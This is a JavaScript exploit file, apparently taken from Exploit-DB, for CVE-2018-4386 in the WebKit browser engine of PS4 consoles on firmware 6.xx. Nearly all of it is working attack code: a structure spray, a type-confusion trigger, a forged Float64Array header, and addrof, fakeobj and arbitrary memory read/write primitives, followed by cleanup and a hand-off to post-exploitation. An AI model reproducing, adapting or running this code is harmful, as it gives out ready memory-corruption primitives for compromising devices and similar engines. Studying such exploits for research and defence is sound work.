/* bad_hoist ============ Exploit implementation of [CVE-2018-4386](https://bugs.chromium.org/p/project-zero/issues/detail?id=1665). Obtains addrof/fakeobj and arbitrary read/write primitives. Supports PS4 consoles on 6.XX. May also work on older firmware versions, but I am not sure. Bug was fixed in firmware 7.00. EDB Note ~ Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47893.zip */ var STRUCTURE_SPRAY_SIZE = 0x1800; var g_confuse_obj = null; var g_arb_master = null; var g_arb_slave = new Uint8Array(0x2000); var g_leaker = {}; var g_leaker_addr = null; var g_structure_spray = []; var dub = new Int64(0x41414141, 0x41414141).asDouble(); var g_inline_obj = { a: dub, b: dub, }; function spray_structs() { for (var i = 0; i < STRUCTURE_SPRAY_SIZE; i++) { var a = new Uint32Array(0x1) a["p" + i] = 0x1337; g_structure_spray.push(a); // keep the Structure objects alive. } } function trigger() { var o = { 'a': 1 }; var test = new ArrayBuffer(0x100000); g_confuse_obj = {}; var cell = { js_cell_header: new Int64([ 0x00, 0x8, 0x00, 0x00, // m_structureID, current guess 0x0, // m_indexingType 0x27, // m_type, Float64Array 0x18, // m_flags, OverridesGetOwnPropertySlot | // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero 0x1 // m_cellState, NewWhite ]).asJSValue(), butterfly: false, // Some arbitrary value vector: g_inline_obj, len_and_flags: (new Int64('0x0001000100000020')).asJSValue() }; g_confuse_obj[0 + "a"] = cell; g_confuse_obj[1 + "a"] = {}; g_confuse_obj[1 + "b"] = {}; g_confuse_obj[1 + "c"] = {}; g_confuse_obj[1 + "d"] = {}; for (var j = 0x5; j < 0x20; j++) { g_confuse_obj[j + "a"] = new Uint32Array(test); } for (var k in o) { { k = { a: g_confuse_obj, b: new ArrayBuffer(test.buffer), c: new ArrayBuffer(test.buffer), d: new ArrayBuffer(test.buffer), e: new ArrayBuffer(test.buffer), 1: new ArrayBuffer(test.buffer), }; function k() { return k; } } o[k]; if (g_confuse_obj["0a"] instanceof Uint32Array) { return; } } } function setup_arb_rw() { var jsCellHeader = new Int64([ 0x00, 0x08, 0x00, 0x00, // m_structureID, current guess 0x0, // m_indexingType 0x27, // m_type, Float64Array 0x18, // m_flags, OverridesGetOwnPropertySlot | // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero 0x1 // m_cellState, NewWhite ]); g_fake_container = { jsCellHeader: jsCellHeader.asJSValue(), butterfly: false, // Some arbitrary value vector: g_arb_slave, lengthAndFlags: (new Int64('0x0001000000000020')).asJSValue() }; g_inline_obj.a = g_fake_container; g_confuse_obj["0a"][0x4] += 0x10; g_arb_master = g_inline_obj.a; g_arb_master[0x6] = 0xFFFFFFF0; } function read(addr, length) { if (!(addr instanceof Int64)) addr = new Int64(addr); g_arb_master[4] = addr.low32(); g_arb_master[5] = addr.hi32(); var a = new Array(length); for (var i = 0; i < length; i++) a[i] = g_arb_slave[i]; return a; } function read8(addr) { return read(addr, 1)[0]; } function read16(addr) { return Struct.unpack(Struct.int16, read(addr, 2)); } function read32(addr) { return Struct.unpack(Struct.int32, read(addr, 4)); } function read64(addr) { return new Int64(read(addr, 8)); } function readstr(addr) { if (!(addr instanceof Int64)) addr = new Int64(addr); g_arb_master[4] = addr.low32(); g_arb_master[5] = addr.hi32(); var a = []; for (var i = 0;; i++) { if (g_arb_slave[i] == 0) { break; } a[i] = g_arb_slave[i]; } return String.fromCharCode.apply(null, a); } function write(addr, data) { if (!(addr instanceof Int64)) addr = new Int64(addr); g_arb_master[4] = addr.low32(); g_arb_master[5] = addr.hi32(); for (var i = 0; i < data.length; i++) g_arb_slave[i] = data[i]; } function write8(addr, val) { write(addr, [val]); } function write16(addr, val) { write(addr, Struct.pack(Struct.int16, val)); } function write32(addr, val) { write(addr, Struct.pack(Struct.int32, val)); } function write64(addr, val) { if (!(val instanceof Int64)) val = new Int64(val); write(addr, val.bytes()); } function writestr(addr, str) { if (!(addr instanceof Int64)) addr = new Int64(addr); g_arb_master[4] = addr.low32(); g_arb_master[5] = addr.hi32(); for (var i = 0; i < str.length; i++) g_arb_slave[i] = str.charCodeAt(i); g_arb_slave[str.length] = 0; // null character } function setup_obj_leaks() { g_leaker.leak = false; g_inline_obj.a = g_leaker; g_leaker_addr = new Int64(g_confuse_obj["0a"][4], g_confuse_obj["0a"][5]).add(0x10); debug_log("obj_leaker address @ " + g_leaker_addr); } function addrof(obj) { g_leaker.leak = obj; return read64(g_leaker_addr); } function fakeobj(addr) { write64(g_leaker_addr, addr); return g_leaker.leak; } function typed_array_buf_addr(typed_array) { return read64(addrof(typed_array).add(0x10)); } function cleanup() { var u32array = new Uint32Array(8); header = read(addrof(u32array), 0x10); write(addrof(g_arb_master), header); write(addrof(g_confuse_obj['0a']), header); // Set length to 0x10 and flags to 0x1 // Will behave as OversizeTypedArray which can survive gc easily write32(addrof(g_arb_master).add(0x18), 0x10); write32(addrof(g_arb_master).add(0x1C), 0x1); // write32(addrof(g_confuse_obj['0a']).add(0x18), 0x10); write32(addrof(g_confuse_obj['0a']).add(0x1C), 0x1); write32(addrof(g_arb_slave).add(0x1C), 0x1); var empty = {}; header = read(addrof(empty), 0x8); write(addrof(g_fake_container), header); } function start_exploit() { debug_log("Spraying Structures..."); spray_structs(); debug_log("Structures sprayed!"); debug_log("Triggering bug..."); trigger(); debug_log("Bug successfully triggered!"); debug_log("Crafting fake array for arbitrary read and write..."); setup_arb_rw(); debug_log("Array crafted!"); debug_log("Setting up arbitrary object leaks..."); setup_obj_leaks(); debug_log("Arbitrary object leaks achieved!"); debug_log("Cleaning up corrupted structures..."); cleanup(); debug_log("Cleanup done!"); debug_log("Starting post exploitation..."); } start_exploit();